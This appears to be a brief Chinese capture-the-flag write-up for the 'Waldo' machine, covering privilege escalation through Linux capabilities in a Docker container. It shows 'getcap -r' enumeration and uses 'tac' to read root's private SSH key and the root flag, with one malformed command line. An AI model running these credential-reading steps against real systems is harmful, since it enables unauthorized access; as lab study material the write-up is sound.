waldo（docker虚拟机-linux capabilities提权）

2 monitor monitor 4096 May 3 2018 .ssh

1
ls -iR

656302 app-dev
656301 bin

./app-dev:
656314 logMonitor
656315 logMonitor.bak
656309 logMonitor.c
656310 logMonitor.h
656312 logMonitor.h.gch
656313 logMonitor.o
656311 makefile
656303 v0.1

./app-dev/v0.1:
656316 logMonitor-0.1

./bin:
656305 ls
656307 most
656306 red
656308 rnano

1
2
3
4
5
```
getcap -r * 2>/dev/null
/usr/bin/tac -s @ /root/.ssh/id_rsa
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
tac /root/root.txt

总结：

getcap、tac、docker虚拟机、linux capabilities等概念都是第一次遇到==

下一次单独开一篇，探讨下权限问题。

唉~头疼